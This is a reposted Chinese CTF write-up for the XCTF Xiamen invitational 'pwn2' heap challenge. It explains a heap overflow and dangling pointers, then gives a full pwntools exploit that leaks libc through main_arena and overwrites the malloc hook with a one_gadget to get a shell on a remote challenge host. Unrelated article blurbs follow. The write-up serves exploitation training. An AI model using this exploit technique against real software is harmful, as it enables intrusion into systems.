厦门邀请赛 pwn2 XCTF

2023-10-12 09:40
文章标签 邀请赛 xctf pwn2 厦门

本文主要是介绍厦门邀请赛 pwn2 XCTF,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这个题 看起来是一个无懈可击的堆题

典型的 堆菜单题 然后看一下函数里面有没有什么利用的点

这里   感觉没有什么利用的点  然后我们往下看

 

这里的修改长度是我们自己输入 也就是我们自己定的  长度 那么我们就可以 实现堆块任意输入

然后继续往下看

 

这里可以有些麻烦 输出的内容长度被限定在了 一开始的堆块大小   这个 可能需要一些绕过

然后看一下 dele

其实dele 这里做的已经很不错了  但是也是没有把用户指针给 清理掉

那么 我们就 get到了这个题的姿势

首先可以任意读写 堆块 然后可以又没有清理用户指针 然后我们可以 伪造堆块  绕过堆块大小

然后可以 填充   00 然后 可以 打印main_arena  然后直接一把梭就可以了

#!/usr/bin/python2
# -*- coding:utf-8 -*-from pwn import*
context.log_level="debug"
io=remote('111.198.29.45',43812)
#io=process("./babyheap")
elf=ELF("./babyheap")
libc=ELF("./libc-2.23.so")
one_gadget_addr= 0x4526a
def add(size,content):io.recvuntil(">> ")io.sendline("1")io.sendline(str(size))io.send(content)def edit(index,size,content):io.recvuntil(">> ")io.sendline("2")io.sendline(str(index))io.sendline(str(size))io.send(content)def show(index):io.recvuntil(">> ")io.sendline("3")io.sendline(str(index))def dele(index):io.recvuntil(">> ")io.sendline("4")io.sendline(str(index))if __name__ =='__main__':add(0x20,'a'*0x20)add(0x80,'b'*0x80)add(0x80,'c'*0x80)add(0x80,'c'*0x80)dele(1)payload='a'*0x20+p64(0)+p64(0x121)edit(0,len(payload),payload)payload='b'*0x80+p64(0)+p64(0x91)+'e'*0x80add(0x110,payload)dele(2)#gdb.attach(io)show(1)io.recvuntil('\x91\x00\x00\x00\x00\x00\x00\x00')main_arena_addr=u64(io.recv(6).ljust(8, '\x00'))-88log.success("main_arena_addr"+hex(main_arena_addr))libc_base_addr=main_arena_addr-0x3C4B20log.success("libc_base_addr"+hex(libc_base_addr))one_gadget_addr=one_gadget_addr +libc_base_addrfake_chunk_addr=main_arena_addr-0x33add(0x60,'d'*0x60)add(0x60,'d'*0x60)dele(4)payload='d'*0x80+p64(0)+p64(0x71)+p64(fake_chunk_addr)edit(3,len(payload),payload)add(0x60,'d'*0x60)payload=0x13 * 'a'+p64(one_gadget_addr)add(0x60,payload.ljust(0x60,'a'))#gdb.attach(io)add(0x90,'s'*0x90)io.interactive()io.close()

 

这篇关于厦门邀请赛 pwn2 XCTF的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/194991

相关文章

Enlight官方第四届“金融帝国杯”玩家游戏视频邀请赛〔参赛玩家作品展播〕(一)(持续更新中)

Enlight官方第四届“金融帝国杯”玩家游戏视频邀请赛 〔参赛玩家作品展播〕(一)(持续更新中) ————————————— Ⅰ〖比赛时间〗 ◇ 报名参赛(视频发布)时间:2024年06月10日~12月09日 ◇ 比赛颁奖时间:2024年12月底前(届时将在官方①、②、③群同步举行) ◇ 获奖名单刊登:3DM论坛(金融帝国2专区)、百度贴吧(金融帝国2吧) —————————————

上海邀请赛之热身赛2_2013成都邀请赛

先写总结。 感觉这次跟scf和sjc组队有种瞬间碉堡了的感觉,虽然是临时组建的队伍凑齐准备去上海参加邀请赛,从这次比赛磨练配合。 今天比赛难度比前天那次的难度低,感觉更适合我们来练习。 话说好像比赛提早了5分钟,我们三个人都不知道,五分钟后一看A题学长已经A了,一想肯定特水。。。我就没看题,sjc和scf两个看了题,scf就开始敲了,我刚开始负责翻译题,虽然我英语是个渣渣。。。没办法,没翻译

【构造共轭函数+矩阵快速幂】HDU 4565 So Easy! (2013 长沙赛区邀请赛)

【题目链接】 :click here~~ 【题目大意】:  A sequence Sn is defined as: Where a, b, n, m are positive integers.┌x┐is the ceil of x. For example, ┌3.14┐=4. You are to calculate Sn.   You, a top coder, say

2013成都邀请赛J题||HDU4725 The Shortest Path in Nya Graph(spfa+slf优化最短路)

题目地址:HDU 4725 这题卡了好长时间了,建图倒是会建,但是不会最短路的算法优化,本以为都需要堆去优化的,打算学了堆之后再来优化,但是昨晚CF的一道题。。(那题也是不优化过不了。。)然后我就知道了还有不需要堆也可以的优化,而且优化的操作很简单,把单向队列变成双端队列就行了。具体优化思路是若d[v]比队列前端的元素的距离小,就加入队列前端,否则加入队列尾端。很简单吧。。。会了后,把这题一加上

探索厦门凯酷全科技有限公司抖音小店的实用魅力

在数字化浪潮汹涌的今天,电商平台如雨后春笋般涌现,而抖音作为短视频与电商融合的佼佼者,更是为众多企业开辟了新的营销与销售渠道。厦门凯酷全科技有限公司,作为这股潮流中的一股清流,凭借其独特的产品定位与创新的营销策略,在抖音小店上展现出了非凡的实用性与吸引力,成为了众多消费者心中的优选品牌。 科技创新,引领潮流 厦门凯酷全科技有限公司自成立以来,便深耕于科技领域,致力于将最前沿的技术融入日常生

上海邀请赛 A题目 HDU 5236(dp)

先求出没有ctrl+s的时候构造长度为i的期望f[i] 。然后枚举保存的次数,求出最小即可。 #include<cstdio>#include<cstdio>#include<cmath>#include<queue>#include<stack>#include<string>#include<cstring>#include<iostream>#include<map>

第二十二届“华罗庚金杯”少年数学邀请赛初赛试卷

第二十二届“华罗庚金杯”少年数学邀请赛初赛试卷(小高组) 第二十二届“华罗庚金杯”少年数学邀请赛初赛试卷 (小高组) 一、选择题(每小题10分,共60分.) 1.(10分)两个有限小数的整数部分分别是7和10,那么这两个有限小数的积的整数部分有(  )种可能的取值. A.16 B.17 C.18 D.19 2.(10分)小明家距学校,乘地铁需要30分钟,乘公交车需要50分钟.某天小明因

ACM-ICPC 2014北京邀请赛 H Happy Reverse [模拟]

题意:给出n个二进制串,可以把其中的一些0和1反转(即0变1,1变0),找出转化后n个串中的最大值和最小值的差值。 分析:思路就是把所有的串和反转的存在一个数组中,然后排序,找最大值和最小值的差,(如果是同一个串反转的就找第二大的和最小的或第二小和最大的中的最大值)。注意假如只有一个串的话结果为0 DEBUG: 这题写了好久 1.第一次用vim,很爽,但是还没熟练 2.忽视了

web前端厦门招聘:探索行业趋势、技能需求与职业发展机遇

web前端厦门招聘:探索行业趋势、技能需求与职业发展机遇 在数字化浪潮席卷全球的今天,Web前端技术作为互联网行业的核心驱动力之一,其重要性日益凸显。厦门,作为一座充满活力和创新氛围的城市,Web前端招聘市场同样炙手可热。本文将深入剖析Web前端在厦门的招聘趋势、技能需求以及职业发展机遇,为求职者提供有价值的参考。 一、Web前端行业趋势 随着互联网的不断发展,Web前端技术也在不断演进。从

传感器展会|2024厦门传感器与应用技术展览会

传感器展会|2024厦门传感器与应用技术展览会 时间:2024年11月1-3日      地点:厦门国际会展中心 XISE EXPO展会介绍: 2024中国(厦门)国际传感器与应用技术展览会将于2024年11月1-3日在厦门国际会展中心举行,本届展会秉承着"创造客户价值与引领产业发展"的宗旨,强化以"采购商协约式邀请"为核心的买家组织手段,打造以展览展示与贸易洽谈为的实效活动体系,全力以赴打